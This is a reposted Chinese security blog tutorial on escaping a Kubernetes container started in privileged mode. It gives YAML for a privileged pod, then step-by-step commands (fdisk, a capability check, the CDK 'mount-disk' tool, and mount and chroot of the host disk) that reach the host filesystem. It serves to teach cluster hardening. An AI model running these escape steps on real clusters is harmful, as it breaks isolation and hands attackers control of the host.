集群安全之Privileged特权模式逃逸

admin 2023年10月27日19:57:19评论10 views字数 1185阅读3分57秒阅读模式

文章前言

当容器启动加上--privileged选项时,容器可以访问宿主机上所有设备,而K8s配置文件如果启用了"privileged: true"也可以实现挂载操作

前置知识

Security Context(安全上下文),用于定义Pod或Container的权限和访问控制,Kubernetes提供了三种配置Security Context的方法:

  • Pod Security Policy:应用于集群级别

  • Pod-level Security Context:应用于Pod级别

  • Container-level Security Context:应用于容器级别

容器级别:仅应用到指定的容器上,并且不会影响Volume

apiVersion: v1kind: Podmetadata:  name: hello-worldspec:  containers:    - name: hello-world-container      image: ubuntu:latest      securityContext:        privileged: true

Pod级别:应用到Pod内所有容器,会影响Volume

apiVersion: v1kind: Podmetadata:  name: hello-worldspec:  containers:  securityContext:    fsGroup: 1234    supplementalGroups: [5678]    seLinuxOptions:      level: "s0:c123,c456"

PSP,集群级别:PSP是集群级的Pod安全策略,自动为集群内的Pod和Volume设置Security Context

集群安全之Privileged特权模式逃逸

具体实现

Step 1:使用docker拉取ubuntu镜像到本地

sudo docker pull ubuntu

集群安全之Privileged特权模式逃逸

Step 2:创建一个Pod

apiVersion: v1kind: Podmetadata:  name: myapp-testspec:  containers:  - image: ubuntu:latest    name: ubuntu    securityContext:      privileged: true

集群安全之Privileged特权模式逃逸

Step 2:创建Pod

kubectl create -f myapp-test.yaml

集群安全之Privileged特权模式逃逸

Step 3:进入Pod进行逃逸操作

#进入podkubectl exec -it myapp-test /bin/bash
#查看磁盘fdisk -l

集群安全之Privileged特权模式逃逸

Step 4:查看权限

cat /proc/self/status | grep CapEff

集群安全之Privileged特权模式逃逸

Step 5:使用CDK进行逃逸

./cdk run mount-disk

集群安全之Privileged特权模式逃逸

在容器内部进入挂载目录,直接管理宿主机磁盘文件(多少有一些问题)

集群安全之Privileged特权模式逃逸

Step 6:手动操作又存在以下问题:

mkdir /tmp/testmount /dev/sda3 /tmp/testchroot /tmp/test bash

集群安全之Privileged特权模式逃逸


原文始发于微信公众号(七芒星实验室):集群安全之Privileged特权模式逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月27日19:57:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   集群安全之Privileged特权模式逃逸http://cn-sec.com/archives/2152751.html

发表评论

匿名网友 填写信息